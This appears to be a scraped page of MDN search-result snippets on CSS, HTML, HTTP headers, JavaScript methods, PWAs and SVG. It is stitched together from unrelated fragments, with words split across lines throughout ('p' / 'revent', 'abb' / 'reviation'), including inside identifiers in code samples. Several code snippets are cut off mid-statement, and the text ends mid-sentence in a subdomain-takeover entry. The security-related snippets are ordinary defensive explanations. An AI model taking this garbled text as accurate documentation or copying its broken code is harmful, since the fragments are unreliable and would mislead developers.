... formal definition initial valueautoapplies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ contain | none | auto ]{1,2} examples p
reventing an underlying element from scrolling in our overscroll-behavior example (see the source code also), we present a full-page list of fake contacts, and a dialog box containing a chat window.
...this can be p
revented by setting overscroll-behavior: none on the <body> element: body { margin: 0; overscroll-behavior: none; } specifications specification status comment css overscroll behavior module level 1the definition of 'overscroll-behavior' in that specification.
right - CSS: Cascading Style Sheets
when both left and right are defined, if not p
revented from doing so by other properties, the element will stretch to satisfy both.
...ative { width: 100px; height: 100px; background-color: #ffc7e4; position: relative; top: 20px; left: 20px; } #absolute { width: 100px; height: 100px; background-color: #ffd7c2; position: absolute; bottom: 10px; right: 20px; } result declaring both left and right when both left and right are declared, the element will stretch to meet both, unless other constraints p
revent it from doing so.
... css level 2 (
revision 1)the definition of 'right' in that specification.
text-transform - CSS: Cascading Style Sheets
none is a keyword that p
revents the case of all characters from being changed.
... working draft from css level 2 (
revision 1)the definition of 'text-transform' in that specification., extends letters to any unicode character in the number or letter general category.
... css level 2 (
revision 1)the definition of 'text-transform' in that specification.
touch-action - CSS: Cascading Style Sheets
applications using touch events disable the browser handling of gestures by calling p
reventdefault(), but should also use touch-action to ensure the browser knows the intent of the application before any event listeners have been invoked.
...once scrolling has started, the direction may still be
reversed.
...this will p
revent people experiencing low vision conditions from being able to read and understand page content.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
note: in most modern browsers, setting autocomplete to "off" will not p
revent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form.
...this may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also p
reventing autofilling with autocomplete="new-password").
... japan an address in japan is typically written in one line, in an order from the least-specific to more-specific portions (in
reverse order to the united states).
HTML attribute reference - HTML: Hypertext Markup Language
hidden global attribute p
revents rendering of given element, while keeping child elements, e.g.
...
reversed <ol> indicates whether the list should be displayed in a descending order instead of a ascending.
... step <input> style global attribute defines css styles which will override styles p
reviously set.
Date and time formats used in HTML - HTML: Hypertext Markup Language
it's worth
reviewing the descriptions of the formats you're using in order to ensure that your strings are in fact compatible with html, as the html specification includes algorithms for parsing these strings that is actually more precise than iso 8601, so there can be subtle differences in how date and time strings are expected to look.
...that means it's possible for the first few days of january to be considered part of the p
revious week-year, and for the last few days of december to be considered part of the following week-year.
...rmalized date/time string actual date and time 1986-01-28t11:38:00.01 1986-01-28t11:38:00.01 january 28, 1986 at 11:38:00.01 am 1986-01-28 11:38:00.010 1986-01-28t11:38:00.011 january 28, 1986 at 11:38:00.01 am 0170-07-31t22:00:00 0170-07-31t22:002 july 31, 170 at 10:00 pm notice that after normalization, this is the same string as the p
revious datetime-local string.
<details>: The Details disclosure element - HTML: Hypertext Markup Language
when the user clicks on the widget or focuses it then presses the space bar, it "twists" open,
revealing its contents: from there, you can use css to style the disclosure widget, and you can programmatically open and close the widget by setting/removing its open attribute.
...idth: 620px; } details > summary { padding: 2px 6px; width: 15em; background-color: #ddd; border: none; box-shadow: 3px 3px 4px black; cursor: pointer; } details > p { border-radius: 0 0 10px 10px; background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where clicking the tab opens it to
reveal its contents.
... border: none; box-shadow: 3px 3px 4px black; cursor: pointer; list-style: none; } details > summary::-webkit-details-marker { display: none; } details > p { border-radius: 0 0 10px 10px; background-color: #ddd; padding: 2px 6px; margin: 0; box-shadow: 3px 3px 4px black; } this css creates a look similar to a tabbed interface, where activating the tab expands and opens it to
reveal its contents.
<input type="date"> - HTML: Hypertext Markup Language
daynum = 29 : daynum = 28; } // inject the right number of new <option> elements into the day <select> for(i = 1; i <= daynum; i++) { var option = document.createelement('option'); option.textcontent = i; dayselect.appendchild(option); } // if p
revious day has already been set, set dayselect's value // to that day, to avoid the day jumping back to 1 when you // change the year if(p
reviousday) { dayselect.value = p
reviousday; // if the p
revious day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g.
... february), // this part of the code ensures that the highest day available // is selected, rather than showing a blank dayselect if(dayselect.value === "") { dayselect.value = p
reviousday - 1; } if(dayselect.value === "") { dayselect.value = p
reviousday - 2; } if(dayselect.value === "") { dayselect.value = p
reviousday - 3; } } } function populateyears() { // get this year as a number var date = new date(); var year = date.getfullyear(); // make this year, and the 100 years before it available in the year <select> for(var i = 0; i <= 100; i++) { var option = document.createelement('option'); option.textcontent = year-i; yearselect.appendchild(option); } } // when the month or year <select> values are changed, rer...
...un populatedays() // in case the change affected the number of available days yearselect.onchange = function() { populatedays(monthselect.value); } monthselect.onchange = function() { populatedays(monthselect.value); } //preserve day selection var p
reviousday; // update what day has been set to p
reviously // see end of populatedays() for usage dayselect.onchange = function() { p
reviousday = dayselect.value; } note: remember that some years have 53 weeks in them (see weeks per year)!
<input type="datetime-local"> - HTML: Hypertext Markup Language
daynum = 29 : daynum = 28; } // inject the right number of new <option> elements into the day <select> for(i = 1; i <= daynum; i++) { var option = document.createelement('option'); option.textcontent = i; dayselect.appendchild(option); } // if p
revious day has already been set, set dayselect's value // to that day, to avoid the day jumping back to 1 when you // change the year if(p
reviousday) { dayselect.value = p
reviousday; // if the p
revious day was set to a high number, say 31, and then // you chose a month with less total days in it (e.g.
... february), // this part of the code ensures that the highest day available // is selected, rather than showing a blank dayselect if(dayselect.value === "") { dayselect.value = p
reviousday - 1; } if(dayselect.value === "") { dayselect.value = p
reviousday - 2; } if(dayselect.value === "") { dayselect.value = p
reviousday - 3; } } } function populateyears() { // get this year as a number var date = new date(); var year = date.getfullyear(); // make this year, and the 100 years before it available in the year <select> for(var i = 0; i <= 100; i++) { var option = document.createelement('option'); option.textcontent = year-i; yearselect.appendchild(option); } } function populatehours() { // populate the hours <select...
...("0" + i) : i; minuteselect.appendchild(option); } } // when the month or year <select> values are changed, rerun populatedays() // in case the change affected the number of available days yearselect.onchange = function() { populatedays(monthselect.value); } monthselect.onchange = function() { populatedays(monthselect.value); } //preserve day selection var p
reviousday; // update what day has been set to p
reviously // see end of populatedays() for usage dayselect.onchange = function() { p
reviousday = dayselect.value; } note: remember that some years have 53 weeks in them (see weeks per year)!
<input type="radio"> - HTML: Hypertext Markup Language
the html is
revised to add a <pre> block to output the form data into: <form> <p>please select your preferred contact method:</p> <div> <input type="radio" id="contactchoice1" name="contact" value="email"> <label for="contactchoice1">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input t...
...istener on the submit event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output; event.p
reventdefault(); }, false); try this example out and see how there's never more than one result for the contact group.
... selecting a radio button by default to make a radio button selected by default, you simply include checked attribute, as shown in this
revised version of the p
revious example: <form> <p>please select your preferred contact method:</p> <div> <input type="radio" id="contactchoice1" name="contact" value="email" checked> <label for="contactchoice1">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="cont...
<input type="range"> - HTML: Hypertext Markup Language
html we use the same html as in the p
revious examples: <input type="range" min="0" max="11" value="7" step="1"> css we target just the inputs with a type of range: input[type="range"] { -webkit-appearance: slider-vertical; } orient attribute in firefox only, there is a non-standard orient property.
... html use similar html as in the p
revious examples, we add the attribute with a value of vertical: <input type="range" min="0" max="11" value="7" step="1" orient="vertical"> writing-mode: bt-lr; the writing-mode property should generally not be used to alter text direction for internationalization or localization purposes, but can be used for special effects.
... html we use the same html as in the p
revious examples: <input type="range" min="0" max="11" value="7" step="1"> css we target just the inputs with a type of range, changing the writing mode from the default to bt-lr, or bottom-to-top and left-to-right: input[type="range"] { writing-mode: bt-lr; } putting it all together as each of the above examples works in different browsers, you can put all of them in a single example to make it work cross browser: html we keep the orient attribute with a value of vertical for firefox: <input type="range" min="0" max="11" value="7" step="1" orient="vertical"> css we target just the inputs with a type of range, changing the writing mode from the default to bt-lr, or bottom-to-top and left-to-right, for edge and internet explorer, and ad...
<input type="time"> - HTML: Hypertext Markup Language
min a string specifying the earliest time to accept, given in the time value format described p
reviously.
...be prepared for this situation to arise: const input = document.createelement('input'); input.type = 'time'; input.min = '23:00'; input.max = '01:00'; input.value = '23:59'; if (input.validity.valid && input.type === 'time') { // <input type=time>
reversed range supported } else { // <input type=time>
reversed range unsupported } making times required in addition, you can use the required attribute to make filling in the time mandatory.
... the second problem is the more serious; as mentioned p
reviously, time inputs' values are always normalized to the format hh:mm or hh:mm:ss.
<sup>: The Superscript element - HTML: Hypertext Markup Language
displaying superior lettering, which is used in some languages when rendering certain abb
reviations.
... for example, in french, the word "mademoiselle" can be abb
reviated "mlle"); this is an acceptable use case.
...among the most common uses of superior lettering is the presentation of certain abb
reviations in french: <p>robert a présenté son rapport à m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abb
reviated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abb
reviated in various languages as follows:</p> <ul> <li>english: 5<sup>th<...
<textarea> - HTML: Hypertext Markup Language
the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a
review or feedback form.
... on: the browser can automatically complete the value based on values that the user has entered during p
revious uses.
...unlike the disabled attribute, the readonly attribute does not p
revent the user from clicking or selecting in the control.
contextmenu - HTML: Hypertext Markup Language
example html <body contextmenu="share"> <menu type="context" id="share"> <menu label="share"> <menuitem label="twitter" onclick="sha
reviatwitter()"></menuitem> <menuitem label="facebook" onclick="sha
reviafacebook()"></menuitem> </menu> </menu> <ol> <li> anywhere in the example you can share the page on twitter and facebook using the share menu from your context menu.
...mage below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> </body> javascript function sha
reviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
... i am learning contextmenu from mdn via mozilla"); } function sha
reviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
itemprop - HTML: Hypertext Markup Language
er element <div itemscope itemtype="http://schema.org/product"> <span itemprop="name">panasonic white 60l refrigerator</span> <img src="panasonic-fridge-60l-white.jpg" alt=""> <div itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> <meter itemprop="ratingvalue" min=0 value=3.5 max=5>rated 3.5/5</meter> (based on <span itemprop="
reviewcount">11</span> customer
reviews) </div> </div> similarly, for date- and time-related data, the time element and its datetime attribute can be used.
... all the properties separated from their items this example is the same as the p
revious one, but all the properties are separated from their items <div itemscope id="amanda" itemref="a b"></div> <p id="a">name: <span itemprop="name">amanda</span></p> <div id="b" itemprop="band" itemscope itemref="c"></div> <div id="c"> <p>band: <span itemprop="name">jazz band</span></p> <p>size: <span itemprop="size">12</span> players</p> </div> this gives the same result as the ...
...p
revious example.
itemtype - HTML: Hypertext Markup Language
<br> </span> product #: <span itemprop="mpn">925872<br></span> <span itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.4</span> stars, based on <span itemprop="
reviewcount">89 </span>
reviews </span><p> <span itemprop="offers" itemscope itemtype="http://schema.org/offer"> regular price: $179.99<br> <meta itemprop="pricecurrency" content="usd" /> <span itemprop="price">sale price: $119.99<br></span> (sale ends <time itemprop="pricevaliduntil" datetime="2020-11-05"> 5 november!</time>)<br> available from: <span itemprop="sel...
...ler" itemscope itemtype="http://schema.org/organization"> <span itemprop="name">executive objects<br></span> </span> condition: <link itemprop="itemcondition" href="http://schema.org/usedcondition"/>p
reviously owned, in excellent condition<br> <link itemprop="availability" href="http://schema.org/instock"/>in stock!
... itemprop mpn 925872 itemprop brand [thing] itemprop name acme itemscope itemprop[itemtype] aggregaterating[aggregaterating] itemprop ratingvalue 4.4 itemprop
reviewcount 89 itemprop offers [offer] http://schema.org/offer itemprop pricecurrency usd itemprop price 119.99 itemprop pricevaliduntil 2020-11-05 itemprop itemcondition http://schema.org/usedcondition itemprop availability http://schema.org/instock itemscope itemprop[itemtype] seller [organiz...
HTTP authentication - HTTP
from firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger http authentication dialogs (bug 1423146), p
reventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.
... security of basic authentication as the user id and password are passed over the network as clear text (it is base64 encoded, but base64 is a
reversible encoding), the basic authentication scheme is not secure.
...(apache is usually configured to p
revent access to .ht* files).
MIME types (IANA media types) - HTTP
only a few image types are used commonly enough to be considered safe for use on web pages: abb
reviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, i...
....png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abb
reviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later.
...servers can p
revent mime sniffing by sending the x-content-type-options header.
Browser detection using the user agent - HTTP
can you p
revent it by adding some non-semantic <div> or <span> elements?
... making the best of user agent sniffing after
reviewing all of the above better alternatives to user agent sniffing, there are still some potential cases where user agent sniffing is appropriate and justified.
...from gecko 14 for the mobile version and gecko 17 for the desktop version, it also puts this value in the gecko/version token (p
revious version put there the build date, then a fixed date called the geckotrail).
Cross-Origin Resource Sharing (CORS) - HTTP
therefore, sites that p
revent cross-site request forgery have nothing new to fear from http access control.
... note: webkit nightly and safari technology p
review place additional restrictions on the values allowed in the accept, accept-language, and content-language headers.
...the p
revious section gives an overview of these in action.
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy complements cross-origin read blocking (corb), which is a mechanism to p
revent some cross-origin reads by default.
... as this policy is expressed via a response header, the actual request is not p
revented—rather, the browser p
revents the result from being leaked by stripping the response body.
... usage note: due to a bug in chrome, setting cross-origin-resource-policy can break pdf rendering, p
reventing visitors from being able to read past the first page of some pdfs.
ETag - HTTP
additionally, etags help p
revent simultaneous updates of a resource from overwriting each other ("mid-air collisions").
...this means weak etags p
revent caching when byte range requests are used, but strong etags mean range requests can still be cached.
...often, a hash of the content, a hash of the last modification timestamp, or just a
revision number is used.
Strict-Transport-Security - HTTP
the http strict-transport-security response header (often abb
reviated as hsts) lets a web site tell browsers that it should only be accessed using https, instead of using http.
... strict transport security resolves this problem; as long as you've accessed your bank's web site once using https, and the bank's web site uses strict transport security, your browser will know to automatically use only https, which p
revents hackers from performing this sort of man-in-the-middle attack.
... whenever the strict-transport-security header is delivered to the browser, it will update the expiration time for that site, so sites can refresh this information and p
revent the timeout from expiring.
Loops and iteration - JavaScript
« p
reviousnext » loops offer a quick and easy way to do something repeatedly.
...the statements in the following while loop execute fo
rever because the condition never becomes false: // infinite loops are bad!
...while for...in iterates over property names, for...of iterates over property values: const arr = [3, 5, 7]; arr.foo = 'hello'; for (let i in arr) { console.log(i); // logs "0", "1", "2", "foo" } for (let i of arr) { console.log(i); // logs 3, 5, 7 } « p
reviousnext » ...
Arrow function expressions - JavaScript
correction: start note: the p
revious statement seems false.
... strict mode should p
revent creating global variables when assigning to an undeclared identifier in a function.
... function foo(n) { var f = (...args) => args[0] + n; return f(10); } foo(1); // 11 arrow functions used as methods as stated p
reviously, arrow function expressions are best suited for non-method functions.
Functions - JavaScript
the function constructor note: using the function constructor to create functions is not recommended since it needs the function body as a string which may p
revent some js engine optimizations and can also cause other problems.
... note: using the generatorfunction constructor to create functions is not recommended since it needs the function body as a string which may p
revent some js engine optimizations and can also cause other problems.
...attempting to use it outside the function's body results in an error (or undefined if the function name was p
reviously declared via a var statement).
Array.prototype.reduceRight() - JavaScript
syntax arr.reduceright(callback(accumulator, currentvalue[, index[, array]])[, initialvalue]) parameters callback function to execute on each value in the array, taking four arguments: accumulator the value p
reviously returned in the last invocation of the callback, or initialvalue, if supplied.
... description reduceright executes the callback function once for each element present in the array, excluding holes in the array, receiving four arguments: the initial value (or value from the p
revious callback call), the value of the current element, the current index, and the array over which iteration is occurring.
...onsole.log, 5) // -> 14 // same as: const computation2 = (input, callback) => { const f6 = x=> div4(callback, x); const f5 = (x, y) => add(f6, x, y); const f4 = x => split(f5, x); const f3 = x => sub2(f4, x); const f2 = x => mult3(f3, x); add5(f2, input); } difference between reduce and reduceright var a = ['1', '2', '3', '4', '5']; var left = a.reduce(function(p
rev, cur) { return p
rev + cur; }); var right = a.reduceright(function(p
rev, cur) { return p
rev + cur; }); console.log(left); // "12345" console.log(right); // "54321" defining composible function the concept of compose function is simple it combines n functions.
Date.prototype.setDate() - JavaScript
for example, if 0 is provided for dayvalue, the date will be set to the last day of the p
revious month.
... if a negative number is provided for dayvalue, the date will be set counting backwards from the last day of the p
revious month.
... -1 would result in the date being set to 1 day before the last day of the p
revious month.
Math.clz32() - JavaScript
now, inversing the bits
reveals the lowest bits return 32 - clz(~integer) |0; // `|0` ensures integer coercion } function ctron(integer){ // count trailing ones // no shift-filling-in-with-ones operator is available in // javascript, so the below code is the fastest return ctrz(~integer); /* alternate implementation for demonstrational purposes: // 1.
...now, inversing the bits
reveals the lowest zeros return 32 - clon(~integer) |0; */ } make these helper functions into asm.js module; then, you have a true performance masterpiece.
...now, inversing the bits
reveals the lowest bits return 32 - clz(~integer) |0; } function ctron(integer) { // count trailing ones integer = integer | 0; // coerce to an integer return ctrz(~integer) |0; } // unfourtunately, asm.js demands slow crummy objects: return {a: ctrz, b: ctron}; })(window, null, null); var ctrz = counttrailsmethods.a; var ctron = counttrailsmethods.b; poly...
Object.defineProperty() - JavaScript
object.defineproperty(obj, 'key', withvalue('static')); // if freeze is available, p
revents adding or // removing the object prototype properties // (value, get, set, enumerable, writable, configurable) (object.freeze || object)(object.prototype); examples if you want to see how to use the object.defineproperty method with a binary-flags-like syntax, see additional examples.
... var o = {}; object.defineproperty(o, 'a', { get() { return 1; }, configurable: false }); object.defineproperty(o, 'a', { configurable: true }); // throws a typeerror object.defineproperty(o, 'a', { enumerable: true }); // throws a typeerror object.defineproperty(o, 'a', { set() {} }); // throws a typeerror (set was undefined p
reviously) object.defineproperty(o, 'a', { get() { return 1; } }); // throws a typeerror // (even though the new get does exactly the same thing) object.defineproperty(o, 'a', { value: 12 }); // throws a typeerror // ('value' can be changed when 'configurable' is false but not in this case due to 'get' accessor) console.log(o.a); // logs 1 delete o.a; // nothing happens console.log(o.a); // logs...
...however, if a non-writable value property is inherited, it still p
revents from modifying the property on the object.
Object.freeze() - JavaScript
a frozen object can no longer be changed; freezing an object p
revents new properties from being added to it, existing properties from being removed, p
revents changing the enumerability, configurability, or writability of existing properties, and p
revents the values of existing properties from being changed.
... in addition, freezing an object also p
revents its prototype from being changed.
... the result of calling object.freeze(object) only applies to the immediate properties of object itself and will p
revent future property addition, removal or value re-assignment operations only on object.
Object.seal() - JavaScript
the object.seal() method seals an object, p
reventing new properties from being added to it and marking all existing properties as non-configurable.
...sealing an object p
revents new properties from being added and marks all existing properties as non-configurable.
...making all properties non-configurable also p
revents them from being converted from data properties to accessor properties and vice versa, but it does not p
revent the values of data properties from being changed.
Object - JavaScript
(this is the
reverse of object.entries).
... object.p
reventextensions() p
revents any extensions of an object.
... object.seal() p
revents other code from deleting properties of an object.
Promise.race() - JavaScript
if the iterable passed is empty, the promise returned will be fo
rever pending.
...ray); // immediately logging the value of p console.log(p); // using settimeout we can execute code after the stack is empty settimeout(function(){ console.log('the stack is now empty'); console.log(p); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 33 } an empty iterable causes the returned promise to be fo
rever pending: var fo
reverpendingpromise = promise.race([]); console.log(fo
reverpendingpromise); settimeout(function(){ console.log('the stack is now empty'); console.log(fo
reverpendingpromise); }); // logs, in order: // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "pending" } if the iterable contains one or more non-promise value and/or an already settle...
...d promise, then promise.race will resolve to the first of these values found in the array: var fo
reverpendingpromise = promise.race([]); var alreadyfulfilledprom = promise.resolve(100); var arr = [fo
reverpendingpromise, alreadyfulfilledprom, "non-promise value"]; var arr2 = [fo
reverpendingpromise, "non-promise value", promise.resolve(100)]; var p = promise.race(arr); var p2 = promise.race(arr2); console.log(p); console.log(p2); settimeout(function(){ console.log('the stack is now empty'); console.log(p); console.log(p2); }); // logs, in order: // promise { <state>: "pending" } // promise { <state>: "pending" } // the stack is now empty // promise { <state>: "fulfilled", <value>: 100 } // promise { <state>: "fulfilled", <value>: "non-promise value" } using promise.race – ex...
String.prototype.charAt() - JavaScript
h surrogate without following low surrogate'; } var next = str.charcodeat(i + 1); if (0xdc00 > next || next > 0xdfff) { throw 'high surrogate without following low surrogate'; } return str.charat(i) + str.charat(i + 1); } // low surrogate (0xdc00 <= code && code <= 0xdfff) if (i === 0) { throw 'low surrogate without preceding high surrogate'; } var p
rev = str.charcodeat(i - 1); // (could change last hex to 0xdb7f to treat high private // surrogates as single characters) if (0xd800 > p
rev || p
rev > 0xdbff) { throw 'low surrogate without preceding high surrogate'; } // we can pass over low surrogates now as the second component // in a pair which we have already processed return false; } in an ecmascript 2016 environment which...
...ogate without following low surrogate' } let next = str.charcodeat(i + 1) if (0xdc00 > next || next > 0xdfff) { throw 'high surrogate without following low surrogate' } return [str.charat(i) + str.charat(i + 1), i + 1] } // low surrogate (0xdc00 <= code && code <= 0xdfff) if (i === 0) { throw 'low surrogate without preceding high surrogate' } let p
rev = str.charcodeat(i - 1) // (could change last hex to 0xdb7f to treat high private surrogates // as single characters) if (0xd800 > p
rev || p
rev > 0xdbff) { throw 'low surrogate without preceding high surrogate' } // return the next character instead (and increment) return [str.charat(i + 1), i + 1] } fixing charat() to support non-basic-multilingual-plane (bmp) characters whi...
...le the p
revious example may be more useful for programs that must support non-bmp characters (since it does not require the caller to know where any non-bmp character might appear), in the event that one does wish, in choosing a character by index, to treat the surrogate pairs within a string as the single characters they represent, one can use the following: function fixedcharat(str, idx) { let ret = '' str += '' let end = str.length let surrogatepairs = /[\ud800-\udbff][\udc00-\udfff]/g while ((surrogatepairs.exec(str)) != null) { let lastidx = surrogatepairs.lastindex if (lastidx - 2 < idx) { idx++ } else { break } } if (idx >= end || idx < 0) { return '' } ret += str.charat(idx) if (/[\ud800-\udbff]/.test(ret) && /[\udc00-\udfff]/.t...
Image file type and format guide - Web media technologies
abb
reviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safari gif graphics interchange format image/gif .gif chrome, edge, firefox, i...
....png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, edge, firefox, opera the abb
reviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later.
... bmp (bitmap file) the bmp (bitmap image) file type is most p
revalent on windows computers, and is generally used only for special cases in web apps and content.
Progressive loading - Progressive web apps (PWAs)
p
revious overview: progressive web apps in p
revious articles we covered apis that help us make our js13kpwa example a progressive web app: service workers, web manifests, notifications and push.
... intersection observer this is a progressive enhancement to the p
reviously working example — intersection observer will load target images only when the user scrolls down, causing them to display in the viewport.
... p
revious overview: progressive web apps ...
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
p
revious overview: progressive web apps next now that we’ve seen what the structure of js13kpwa looks like and have seen the basic shell up and running, let's look at how the offline capabilities using service worker are implemented.
... self.addeventlistener('install', (e) => { e.waituntil( caches.open('js13kpwa-v2').then((cache) => { return cache.addall(contenttocache); }) ); }); a new service worker is installed in the background, and the p
revious one (v1) works correctly up until there are no pages using it — the new service worker is then activated and takes over management of the page from the old one.
... p
revious overview: progressive web apps next ...
accumulate - SVG: Scalable Vector Graphics
it is frequently useful for repeated animations to build upon the p
revious results, accumulating with each iteration.
... this attribute said to the animation if the value is added to the p
revious animated attribute's value on each iteration.
... four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the p
revious iteration.
in - SVG: Scalable Vector Graphics
the value can be either one of the six keywords defined below, or a string which matches a p
revious result attribute value within the same <filter> element.
...if no value is provided and this is a subsequent filter primitive, then this filter primitive will use the result from the p
revious filter primitive as its input.
...atrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of p
revious filter primitive animatable yes sourcegraphic this keyword represents the graphics elements that were the original input into the <filter> element.
in2 - SVG: Scalable Vector Graphics
value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of p
revious filter primitive animatable yes fecomposite for <fecomposite>, in2 defines the second input image to the compositing operation.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of p
revious filter primitive animatable yes fedisplacementmap for <fedisplacementmap>, in2 defines the second input image, which is used to displace the pixels in the image defined in the in attribute.
... value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of p
revious filter primitive animatable yes specifications specification status comment filter effects module level 1the definition of 'in2 for <fedisplacementmap>' in that specification.
rotate - SVG: Scalable Vector Graphics
usage notes value auto | auto-
reverse | <number> default value 0 animatable no the auto and auto-
reverse values allow the animated element's rotation to change dynamically as it travels along the path.
...if the value is auto-
reverse, it turns its left-hand side in the current direction of motion.
...ite" rotate="auto"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(200, 0)"> <use href="#themotionpath"/> <!-- blue arrow which will rotate backwards along the motion path --> <path fill="blue" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="auto-
reverse"> <mpath href="#themotionpath"/> </animatemotion> </path> </g> <g transform="translate(300, 0)"> <use href="#themotionpath"/> <!-- purple arrow which will have a static rotation of 210 degrees --> <path fill="purple" d="m-5,-5 l10,0 -5,5 0,0 z"> <!-- define the motion path animation --> <animatemotion dur="6s" repeatcount="indefinite" rotate="210"> <...
SVG documentation index - SVG: Scalable Vector Graphics
3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnical
review, svg, types, data types svg makes use of a number of data types.
...this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any p
reviously defined transformations, including the implicit transformation necessary to convert from object bounding box units to user space.
... 379 scripting graphics, svg, scripting, default, eventlisteners, p
reventing, setproperty one can override default browser behaviors with the evt.p
reventdefault( ) method, add eventlisteners to objects with the syntax element.addeventlistener(event, function, usecapture), and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", "").
Basic Transformations - SVG: Scalable Vector Graphics
« p
reviousnext » now we're ready to start distorting our beautiful images.
...to combine several transformations, one can set the resulting matrix directly with the matrix(a, b, c, d, e, f) transformation which maps coordinates from a p
revious coordinate system into a new coordinate system by {xnewcoordsys=axp
revcoordsys+cyp
revcoordsys+eynewcoordsys=bxp
revcoordsys+dyp
revcoordsys+f\left{ \begin{matrix} x_{\mathrm{p
revcoordsys}} = a x_{\mathrm{newcoordsys}} + c y_{\mathrm{newcoordsys}} + e \\ y_{\mathrm{p
revcoordsys}} = b x_{\mathrm{newcoordsys}} + d y_{\mathrm{newcoordsys}} + f \end{matrix} \right.
... « p
reviousnext » ...
Clipping and masking - SVG: Scalable Vector Graphics
« p
reviousnext » erasing part of what one has created might at first sight look contradictory.
...for
reverting a p
reviously set display: none it is important to know, that the initial value for all svg elements is inline.
... « p
reviousnext » ...
Getting started - SVG: Scalable Vector Graphics
« p
reviousnext » a simple example let us dive straight in with a simple example.
...the globally valid rule for svg files is, that later elements are rendered atop p
revious elements.
... « p
reviousnext » ...
Gradients in SVG - SVG: Scalable Vector Graphics
« p
reviousnext » perhaps more exciting than just fills and strokes is the fact that you can also create and apply gradients as either fills or strokes.
..."reflect" causes the gradient to continue on, but reflected in
reverse, starting with the color offset at 100% and moving back to the offset at 0%, and then back up again.
... « p
reviousnext » ...
Certificate Transparency - Web security
potentially malicious certificates, such as those that violate the ca/b forum baseline requirements, can be detected and
revoked much more quickly.
...users will be p
revented from visiting sites using non-compliant tls certificates.
... chrome had p
reviously required ct inclusion for extended validation (ev) and symantec-issued certificates.
Subdomain takeovers - Web security
you must cut power at the breaker or fuse box (dns) to p
